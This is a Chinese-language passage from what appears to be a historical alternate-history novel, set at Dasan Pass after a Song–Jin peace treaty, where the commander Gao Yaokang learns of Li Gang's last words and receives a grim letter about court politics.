高尧康说:“下次,咱们有神机铳。有霹雳炮。有几万能打的兵。有格物院,有军器局,有联号。有火种。”
他转过身。看着关内那些帐篷。那些人。密密麻麻的。炊烟升起来,一片一片的。
“还有他们。”
张浚也看着那些人。看了一会儿。风吹过来,带着烟火气。
然后他说:“高尧康。”
高尧康看着他。
张浚说:“李公走的时候,说的最后一句话,你知道吗?”
高尧康说:“什么?”
张浚说:“他说,告诉高尧康,老夫尽力了。老夫能做的都做了。”
高尧康愣住了。站在那儿,一动不动。
张浚说:“他还说,火种留住了。那小子没让我失望。”
高尧康站在那儿。很久没动。
风很大。吹得他脸疼。吹得他的衣裳猎猎作响。
他忽然笑了一下。笑得很轻。
“嗯。留住了。”
八月初十。大散关外。营地。
邵兴蹲在一堆篝火前头,烤着火。火苗舔着锅底,锅里煮着粥,咕嘟咕嘟冒泡。
旁边坐着个年轻人。二十出头。脸上有伤,从额头拉到下巴,是新添的。是他从河南府带回来的义军头领之一。姓马。打了一辈子仗,脸上没一块好肉。
马姓年轻人说:“邵将军,咱们以后怎么办?就在这儿蹲着?”
邵兴说:“等着。”
马姓年轻人说:“等什么?”
邵兴说:“等高宣抚的令。他说打,咱就打。他说等,咱就等。”
他看着火堆。火苗跳着。
“高宣抚让咱们来,咱们就来了。高宣抚让咱们等,咱们就等着。他救了咱们的命,救了咱们兄弟的命。没有他,咱们还在山里啃树皮,跟金兵玩捉迷藏。”
马姓年轻人说:“那要等到什么时候?”
邵兴说:“不知道。”
他站起来。看着北边。天黑了,什么都看不见。
“但我知道,他一定会让咱们回去。李公走了,宗留守走了,但高宣抚还在。他比谁都急,但他不说。”
那天晚上。大散关。高尧康帐中。
灯亮着。高尧康在看地图。地图上标着山川城池,密密麻麻的。他的手指头在图上划来划去,从大散关划到京兆府,从京兆府划到河南府。
杨蓁不在。又回后方养胎去了。帐子里空荡荡的,就他一个人。
陈东敲门进来。手里举着一封信。
“高宣抚,临安有信。张叔夜来的。”
高尧康接过来。拆开。
是张叔夜写的。字写得很重,纸都压出印了。
信不长。但字字都重。
“和议已成。金兵已撤。秦桧得势,满朝上下,没人敢说个不字。李公已去。韩世忠、岳飞被闲置。朝中主和者众,主战者噤声。吾亦难自保,不知还能撑几日。汝在蜀地,当自为之。切记,切记。人在,火种在。”
高尧康看完。把信折起来。
收进怀里。贴着心口。
他看着窗外。
窗外,月亮很亮。照在关墙上,照在帐篷上,照在那些新来的人的窝棚上。远远的,有人在唱山歌,听不清词,但调子很悠长。
他忽然想起李纲。想起宗泽。想起那些死了的人。想起土门关的雪,想起汴京的火,想起刘家寺的月亮。
他站了一会儿。
然后他低下头。继续看地图。手指头在图上划着,从蜀地划到中原,从大散关划到汴京。